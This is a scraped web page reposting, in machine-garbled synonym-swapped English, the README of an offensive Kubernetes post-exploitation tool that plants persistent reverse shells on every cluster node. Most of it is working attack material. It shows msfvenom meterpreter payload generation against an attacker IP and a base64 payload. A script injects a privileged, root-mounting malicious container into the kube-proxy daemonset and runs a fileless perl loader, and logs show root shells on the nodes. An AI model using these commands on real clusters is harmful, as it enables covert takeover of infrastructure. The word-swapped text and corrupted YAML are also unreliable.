Tuesday, May 31, 2022
HomeHackerCommon Put up-Penetration Approach Which Might Be Used In Penetrations Towards Kubernetes...

Common Put up-Penetration Approach Which Might Be Used In Penetrations Towards Kubernetes Clusters


[*]



k0otkit is a common post-penetration method which could possibly be utilized in penetrations in opposition to Kubernetes clusters.

With k0otkit, you possibly can manipulate all of the nodes within the goal Kubernetes cluster in a speedy, covert and steady approach (reverse shell).

k0otkit is the mixture of Kubernetes and rootkit.

Prerequisite:

k0otkit is a post-penetration device, so you need to firstly conquer a cluster, by some means handle to flee from the container and get the foundation privilege of the grasp node (to be precise, you need to get the admin privilege of the goal Kubernetes).

State of affairs:

  1. After Net penetration, you get a shell of the goal.
  2. If obligatory, you handle to escalate the privilege and make it.
  3. You discover the goal atmosphere is a container (Pod) in a Kubernetes cluster.
  4. You handle to flee from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or different methods).
  5. You get a root shell of the grasp node and are capable of instruct the cluster with kubectl on the grasp node as admin.
  6. Now you wish to management all of the nodes within the cluster as shortly as attainable. Right here comes k0otkit!

k0otkit is detailed in k0otkit: Hack K8s in a K8s Method.

Utilization

Ensure you have gotten the foundation shell on the grasp node of the goal Kubernetes. (You can even make the most of k0otkit in case you have the admin privilege of the goal Kubernetes, although you would possibly want to switch the kubectl command in k0otkit_template.sh to make use of the token or certification.)

Ensure you have put in Metasploit in your attacker host (msfvenom and msfconsole must be out there).

Deploy k0otkit

Clone this repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Exchange the attacker’s IP and port in pre_exp.sh with your individual IP and port:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Generate k0otkit:

k0otkit.sh will likely be generated. Then run the reverse shell handler:

./handle_multi_reverse_shell.sh

As soon as the handler is prepared, copy the content material of k0otkit.sh and paste it into your shell on the grasp node of the goal Kubernetes, then press <Enter> to execute it.

Wait a second and luxuriate in reverse shells from all nodes 🙂

P.S. It’s not restricted what number of Kubernetes clusters you manipulate with k0otkit.

Work together with Shells

After the profitable deployment of k0otkit, you possibly can work together with any reverse shell as you need:

# inside msfconsole
classes 1

Options

  • make the most of K8s sources and options (hack K8s in a K8s approach)
  • dynamic container injection
  • communication encryption (due to Meterpreter)
  • fileless

Instance

Generate k0otkit:

[email protected]:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d 'n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAx MDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Run the reverse shell handler:

[email protected]:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit operating as background job 0.
[*] Exploit accomplished, however no session was created.

[*] Began reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copy the content material of k0otkit.sh into your shell on the grasp node of the goal Kubernetes and press <Enter>:

[email protected]:~$ nc -lvnp 10000
listening on [any] 10000 ...
hook up with [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
[email protected]:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/native/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content material

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

picture=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " picture:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
form: Secret
metad ata:
title: $secret_name
namespace:volume_name=cache
[email protected]:~#
[email protected]:~# mount_path=/var/kube-p kube-system
kind: Opaque
information:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# in any other case you need to swap the 2 sed instructions under

# inject malicious container into kube-proxy pod
kubecroxy-cache
[email protected]:~#
[email protected]:~# ctr_n ame=kube-proxy-cache
[email protected]:~#
[email protected]:~# binary_file=/usr/native/bin/kube-proxy-cache
[email protected]:~#
[email protected]:~# payload_name=cache
[email protected]:~#
[email protected]:~# secret_name=proxy-cache
[email protected]:~#
[email protected]:~# secret_data_name=content material
[email protected]:~#
[email protected]:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml
| sed "$volume_line_num a - title: $volume_namen hostPath:n path: /n kind: Directoryn"
| sed "$ctr_line_num a - title: $ctr_namen picture: $imagen imagePullPolicy: IfNotPresentn command: ["sh"]n args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <ST DIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n env:n - title: $payload_namen valueFrom:n secretKeyRef:n pr title: $secret_namen key: $secret_data_namen securityContext:n privileged: truen volumeMounts:n - mountPath: $mount_pathn title: $volume_name"
containers:/{print NR}')oxy -o yaml | awk '/

[email protected]:~#
[email protected]:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
[email protected]:~#
[email protected]:~# picture=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " picture:" | awk '{print $2}')
[email protected]:~#
[email protected]:~# # create payload secret
[email protected]:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> form: Secret
> metadata:
> title: $secret_name
> namespace: kube-system
> kind: Opaque
> information:
> $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
[email protected]:~#
[email protected]:~# # assume that ctr_line_num < volume_line_num
[email protected]:~# # in any other case you need to swap the 2 sed instructions under
[email protected]:~#
[email protected] im-2:~# # inject malicious container into kube-proxy pod
[email protected]:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml
> | sed "$volume_line_num a - title: $volume_namen hostPath:n path: /n kind: Directoryn"
> | sed "$ctr_line_num a - title: $ctr_namen picture: $imagen imagePullPolicy: IfNotPresentn command: ["sh"]n args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n env:n - title: $payload_namen valueFrom:n secretKeyRef:n title: $secret_namen key: $secret_data_namen securityContext:n privileged: true n volumeMounts:n - mountPath: $mount_pathn title: $volume_name"
> | kubectl substitute -f -
daemonset.extensions/kube-proxy changed

Look ahead to reverse shells:

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > classes

Lively classes
===============

Id Identify Kind Info Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

Operate 1 Exit & Re-connect:

msf5 exploit(multi/handler) > classes 1
[*] Beginning interplay with 1...

meterpreter > shell
Course of 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed. Cause: Consumer exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

Operate 2 Escape to & Management Node:

msf5 exploit(multi/handler) > classes 2
[*] Beginning interplay with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Itemizing: /var/kube-proxy-cache
==============================

Mode Dimension Kind Final modified Identify
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 and so on
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 dwelling
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.outdated
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 misplaced+discovered
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 decide
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:5 1:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.outdated


[*]

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments